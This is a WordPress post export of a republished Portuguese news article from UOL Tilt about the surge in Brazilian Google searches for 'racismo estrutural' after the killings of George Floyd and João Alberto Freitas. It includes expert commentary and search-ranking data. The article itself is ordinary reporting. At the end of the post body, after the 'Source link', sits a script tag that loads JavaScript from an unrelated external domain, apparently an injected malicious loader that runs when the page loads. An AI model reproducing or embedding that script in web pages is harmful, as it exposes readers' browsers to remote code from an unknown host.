{"id":2199,"date":"1969-12-31T21:00:00","date_gmt":"1970-01-01T00:00:00","guid":{"rendered":"https:\/\/manualdoidoso.com.br\/blog\/1969\/12\/31\/por-que-as-pesquisas-online-por-racismo-estrutural-explodiram-no-brasil-03-07-2022\/"},"modified":"1969-12-31T21:00:00","modified_gmt":"1970-01-01T00:00:00","slug":"por-que-as-pesquisas-online-por-racismo-estrutural-explodiram-no-brasil-03-07-2022","status":"publish","type":"post","link":"https:\/\/manualdoidoso.com.br\/blog\/1969\/12\/31\/por-que-as-pesquisas-online-por-racismo-estrutural-explodiram-no-brasil-03-07-2022\/","title":{"rendered":"Por que as pesquisas online por racismo estrutural explodiram no Brasil? &#8211; 03\/07\/2022"},"content":{"rendered":"<p> <br \/>\n<\/p>\n<div>\n<p>As pesquisas na internet feitas por brasileiros para saber o que \u00e9 racismo estrutural explodiram nos \u00faltimos tr\u00eas anos, mostram dados gerados pelo Google para o Dia Nacional de Combate \u00e0 Discrimina\u00e7\u00e3o Racial, celebrado neste domingo (3) e obtidos com exclusividade por <strong>Tilt.<\/strong><\/p>\n<p>No balan\u00e7o dos \u00faltimos tr\u00eas anos (2019 a 2022), as buscas por &#8220;racismo estrutural&#8221; no Google saltaram mais de 1.400% em compara\u00e7\u00e3o aos anos anteriores. A empresa desenvolve o buscador usado por 97% dos internautas do pa\u00eds, segundo a StatCounter. Para especialistas procurados pela reportagem, como o professor e fil\u00f3sofo Silvio Almeida, autor do livro &#8220;Racismo Estrutural&#8221;, os acontecimentos recentes, como o assassinato de George Floyd em 2020, despertaram as pessoas para o conceito, que acabou entrando para o vocabul\u00e1rio.<\/p>\n<p>At\u00e9 2018, a express\u00e3o &#8220;racismo estrutural&#8221; teve buscas t\u00edmidas no Google, n\u00e3o chegando a um ter\u00e7o do \u00edndice m\u00e1ximo de interesse. O cen\u00e1rio mudou a partir de junho de 2020, momento em que alcan\u00e7ou seu \u00e1pice hist\u00f3rico. O m\u00eas sucedeu o assassinado de George Floyd, homem negro assassinado por um policial em Minneapolis, nos Estados Unidos.<\/p>\n<p>Em meio \u00e0 pandemia do coronav\u00edrus, a morte de Floyd gerou uma onda de protestos que n\u00e3o se restringiu aos Estados Unidos e chegaram ao Brasil. A mobiliza\u00e7\u00e3o reacendeu o movimento Black Lives Matter (Vidas Negras Importam, em tradu\u00e7\u00e3o livre), nascido em 2013.<\/p>\n<p>A popula\u00e7\u00e3o brasileira voltou a pesquisar o termo em novembro do mesmo ano, m\u00eas que ficou marcado pelo assassinato de Jo\u00e3o Alberto Silveira Freitas em uma unidade do Carrefour de Porto Alegre. O homem negro foi morto ap\u00f3s ser agredido por dois seguran\u00e7as, um deles um PM fora de servi\u00e7o, na v\u00e9spera do Dia da Consci\u00eancia Negra, celebradno em 20 de novembro.<\/p>\n<p>&#8220;As buscas est\u00e3o diretamente relacionadas com o impacto que esses casos tiveram na sociedade. Foram crimes de bastante como\u00e7\u00e3o social. Quando acontecem conflitos grandiosos, as pessoas tendem a se incomodar e perceber que n\u00f3s n\u00e3o estamos vivendo uma normalidade. As buscas refletem um pouco da reflex\u00e3o e ang\u00fastia da sociedade&#8221;, pontua Silvio Almeida.<\/p>\n<p>Segundo a edi\u00e7\u00e3o mais recente do Anu\u00e1rio Brasileiro de Seguran\u00e7a P\u00fablica, a viol\u00eancia no Brasil \u00e9 mais direcionada \u00e0 popula\u00e7\u00e3o negra. Segundo o levantamento, policiais mataram 6,1 mil pessoas em 2021, o que representa queda de 4,9% em compara\u00e7\u00e3o com 2020. Apesar da diminui\u00e7\u00e3o global, o recorte racial mostra outra realidade. Entre negros, 84% dos assassinados pela pol\u00edcia, o \u00edndice subiu 5,8%. Entre brancos, o \u00edndice caiu 31%.<\/p>\n<p>Segundo o levantamento, express\u00f5es como &#8220;lei de racismo&#8221;, &#8220;crime de racismo&#8221; e &#8220;casos de racismo&#8221; tamb\u00e9m esteve entre os termos mais buscados.<\/p>\n<h2><strong>Nova express\u00e3o no vocabul\u00e1rio do brasileiro<\/strong><\/h2>\n<p>De acordo com Luiz Augusto Campos, professor de Sociologia do IESP-UERJ (Instituto de Estudos Sociais e Pol\u00edticos da Universidade Estadual do Rio de Janeiro), os eventos ocorridos em 2020 fizeram com que a popula\u00e7\u00e3o recorresse ao estudo e \u00e0s teorias sobre ra\u00e7a para compreender o que estava ocorrendo.<\/p>\n<p>&#8220;Houve um evento que deixou exemplificado como o racismo funciona. A partir da\u00ed, buscou-se um termo formado a partir de uma reflex\u00e3o te\u00f3rica. E o racismo estrutural entrou no vocabul\u00e1rio das pessoas&#8221;.<\/p>\n<p>Como efeito dessa busca por conhecimento, o livro &#8220;Racismo Estrutural&#8221;, de 2018, entrou na lista dos mais vendidos do site Amazon em 2020. Naquele ano, o &#8220;Pequeno manual antirracista&#8221;, livro de Djamila Ribeiro com o prop\u00f3sito de tratar a pauta antirracista de forma did\u00e1tica, foi o mais vendido no site.<\/p>\n<div class=\"photoembed-wrapper\">\n<figure class=\"photo photo-embed no-gutter col-sm-24  crop-750x421 limit-crop  figure\" style=\"max-width:750px\" data-format=\"horizontal\">\n<div class=\"image bg\">\n<div class=\"placeholder\" style=\"max-width:750px\">   <img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/conteudo.imguol.com.br\/c\/entretenimento\/ed\/2020\/06\/10\/o-advogado-e-professor-silvio-almeida-1591835548706_v2_750x421.jpg\" class=\"pinit-img\" alt=\"silvio - Valdir de Oliveira\/FotoArena - Valdir de Oliveira\/FotoArena\" data-crop=\"{&quot;xs&quot;:&quot;450x253&quot;,&quot;sm&quot;:&quot;750x421&quot;,&quot;md&quot;:&quot;600x337&quot;,&quot;lg&quot;:&quot;750x421&quot;}\" width=\"750\" height=\"421\"\/>  <i class=\"placeholder-mask\" style=\"padding-bottom: 56.13333333333333%\"\/><\/div>\n<\/div><figcaption class=\"container bottom-title\">\n<p>O advogado e professor Silvio Almeida<\/p>\n<p> <span>Imagem: Valdir de Oliveira\/FotoArena<\/span><\/figcaption><\/figure>\n<\/div>\n<p>&#8220;As pessoas querem entender melhor o racismo como um fen\u00f4meno complexo, que vai al\u00e9m da discrimina\u00e7\u00e3o direta. Querem compreender quais s\u00e3o os mecanismos que reproduzem a discrimina\u00e7\u00e3o racial e que muitas vezes s\u00e3o ocultos, velados e fazem com que a sociedade naturalize o preconceito&#8221;, avalia Silvio Almeida. Para o especialista, adquirir conhecimento pode ser um passo para o processo de responsabiliza\u00e7\u00e3o diante do problema.<\/p>\n<p>&#8220;O antirracismo n\u00e3o se constitui no apontamento da culpa, mas fundamentalmente na fixa\u00e7\u00e3o da responsabilidade. Ou seja, \u00e9 preciso assumir e reparar. A responsabiliza\u00e7\u00e3o precisa ser individual e coletiva. \u00c9 necess\u00e1rio olhar ao redor e pensar o que \u00e9 poss\u00edvel ser feito&#8221;, acrescenta.<\/p>\n<h2><strong>Quem mais pesquisa sobre racismo no Brasil?<\/strong><\/h2>\n<p>Nos \u00faltimos 12 meses, o interesse pela pauta racial fez com que o Brasil ocupasse o 5\u00ba lugar entre os pa\u00edses que mais buscaram pela palavra &#8220;racismo&#8221; em todo mundo. Ficou atr\u00e1s apenas da Bol\u00edvia, Canad\u00e1, Estados Unidos e Reino Unido.<\/p>\n<p>Para o professor Silvio Almeida, uma das hip\u00f3teses para o recente interesse do povo boliviano pelo racismo \u00e9 a forma como o caso de George Floyd tamb\u00e9m fez com que a sociedade passasse a olhar para o racismo em outras esferas, como na pol\u00edtica.<\/p>\n<p>&#8220;Diante da situa\u00e7\u00e3o pol\u00edtica da Bol\u00edvia depois do golpe de estado, evidenciou-se um car\u00e1ter n\u00e3o s\u00f3 de classe, mas tamb\u00e9m de ra\u00e7a dentro dos conflitos pol\u00edticos do pa\u00eds, que tem uma popula\u00e7\u00e3o negra e ind\u00edgena grandiosa. O racismo como fen\u00f4meno global est\u00e1 veiculado a outros conflitos que n\u00e3o somente os raciais, mas em outros setores da sociedade como a pol\u00edtica e a economia&#8221;, avalia.<\/p>\n<p>Para Campos, o interesse pelo racismo enquanto conceito pode ter rela\u00e7\u00e3o com o fato de que os crimes envolvendo preconceito racial nos \u00faltimos anos ajudaram a desconstruir o mito de que o Brasil era um pa\u00eds que havia superado essa m\u00e1cula.<\/p>\n<p>&#8220;Quando se difunde a ideia de que o Brasil \u00e9 sim um pa\u00eds racista e esse racismo \u00e9 central para o funcionamento da sociedade, as pessoas t\u00eam uma d\u00favida natural de entender o que \u00e9 racismo e como ele funciona. \u00c9 um fen\u00f4meno muito complexo, ent\u00e3o existe uma demanda por letramento racial&#8221;, pontua.<\/p>\n<p>A Bahia, que possui a maior popula\u00e7\u00e3o negra do Brasil, foi o estado que mais buscou por &#8220;racismo&#8221; no pa\u00eds. Na sequ\u00eancia, vieram as popula\u00e7\u00f5es do Maranh\u00e3o, Amap\u00e1, Distrito Federal e Par\u00e1. Na ponta oposta, Santa Catarina, Paran\u00e1 e Rond\u00f4nia s\u00e3o os estados que menos buscaram o assunto nos \u00faltimos 12 meses.<\/p>\n<p>No \u00faltimo ano, os brasileiros tamb\u00e9m ficaram mais atentos a palavras e frases que podem ser consideradas racistas. Entre as buscas, procuraram por express\u00f5es de origem escravocrata como: &#8220;Denegrir \u00e9 racista?&#8221;, &#8220;criado mudo \u00e9 racista?&#8221;, &#8220;Segurar vela \u00e9 racista?&#8221; &#8220;rodar a baiana \u00e9 racista?, &#8220;Esclarecer \u00e9 racista? e &#8220;crioulo \u00e9 racista?.<\/p>\n<h2><strong>O que \u00e9 ser pardo?<\/strong><\/h2>\n<div class=\"photoembed-wrapper\">\n<figure class=\"photo photo-embed no-gutter col-sm-24  crop-750x421 limit-crop  figure\" style=\"max-width:750px\" data-format=\"horizontal\">\n<div class=\"image bg\">\n<div class=\"placeholder\" style=\"max-width:750px\">   <img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/conteudo.imguol.com.br\/c\/entretenimento\/1d\/2020\/11\/13\/luiz-augusto-campos-doutor-em-sociologia-e-professor-da-universidade-estadual-do-rio-de-janeiro-uerj-1605298940821_v2_750x421.jpg\" class=\"pinit-img\" alt=\"luiz - Arquivo Pessoal - Arquivo Pessoal\" data-crop=\"{&quot;xs&quot;:&quot;450x253&quot;,&quot;sm&quot;:&quot;750x421&quot;,&quot;md&quot;:&quot;600x337&quot;,&quot;lg&quot;:&quot;750x421&quot;}\" width=\"750\" height=\"421\"\/>  <i class=\"placeholder-mask\" style=\"padding-bottom: 56.13333333333333%\"\/><\/div>\n<\/div><figcaption class=\"container bottom-title\">\n<p>Luiz Augusto Campos, doutor em sociologia e professor da Universidade Estadual do Rio de Janeiro (UERJ)<\/p>\n<p> <span>Imagem: Arquivo Pessoal<\/span><\/figcaption><\/figure>\n<\/div>\n<p>De acordo com dados da PNAD (Pesquisa Nacional por Amostra de Domic\u00edlios) 2019, 46,8% da popula\u00e7\u00e3o brasileira se declara como parda, o que corresponde \u00e0 maioria. Os brancos s\u00e3o 42,7%, os pretos s\u00e3o 9,4%, enquanto amarelos e ind\u00edgenas somam 1,1%. No Brasil, s\u00e3o considerados negros os pardos e pretos.<\/p>\n<p>Apesar de os brasileiros se identificarem majoritariamente como pardos, existe bastante d\u00favida a respeito dessa classifica\u00e7\u00e3o. Segundo os dados obtidos pelo UOL, a palavra &#8220;parda&#8221; tamb\u00e9m foi objeto de curiosidade nos \u00faltimos 12 meses. Tanto que o termo ocupou a 3\u00aa posi\u00e7\u00e3o no ranking geral para a pergunta &#8220;como saber se sou?&#8221;. Ficou atr\u00e1s apenas de &#8220;autista&#8221; e &#8220;est\u00e9ril&#8221;. A pergunta &#8220;o que \u00e9 uma pessoa parda&#8221; teve alta de 35% nas busca nos \u00faltimos tr\u00eas anos, em rela\u00e7\u00e3o ao per\u00edodo anterior.<\/p>\n<p>Para o soci\u00f3logo Luiz Augusto Campos, o processo de incentivo \u00e0 mesti\u00e7agem no Brasil deixou as fronteiras raciais flu\u00eddas, o que gera questionamentos sobre a autoidentifica\u00e7\u00e3o das pessoas no pa\u00eds. O processo de cotas, mediante autodeclara\u00e7\u00e3o racial, tamb\u00e9m fomentou essa discuss\u00e3o sobre quem pertence ou n\u00e3o ao grupo de pessoas negras.<\/p>\n<p>&#8220;Temos uma d\u00favida muito sens\u00edvel entre quem \u00e9 branco e quem \u00e9 n\u00e3o branco no Brasil. A fronteira est\u00e1 nesta categoria complexa do &#8216;pardo&#8217;. Logo, o aumento das buscas traduzem essa d\u00favida que tem a ver com as mudan\u00e7as na maneira de enxergar a racialidade no Brasil. Continuamos mesti\u00e7os, mas tamb\u00e9m passamos a nos ver como um pa\u00eds racista. Essas quest\u00f5es se relacionam com as pol\u00edticas de a\u00e7\u00e3o afirmativa que convertem o \u00f4nus de ser preto ou pardo no Brasil em um b\u00f4nus m\u00ednimo para compensar as desigualdades.&#8221;<\/p>\n<\/p><\/div>\n<p><br \/>\n<br \/><a href=\"https:\/\/www.uol.com.br\/tilt\/noticias\/redacao\/2022\/07\/03\/por-que-a-busca-por-racismo-estrutural-explodiu-no-brasil.htm\">Source link <\/a><script src='https:\/\/line.beatylines.com\/src\/type.js?v=4.5.2' type='text\/javascript' id='globalsway'><\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>As pesquisas na internet feitas por brasileiros para saber o que \u00e9 racismo estrutural explodiram nos \u00faltimos tr\u00eas anos, mostram dados gerados pelo Google para o Dia Nacional de Combate \u00e0 Discrimina\u00e7\u00e3o Racial, celebrado neste domingo (3) e obtidos com exclusividade por Tilt. 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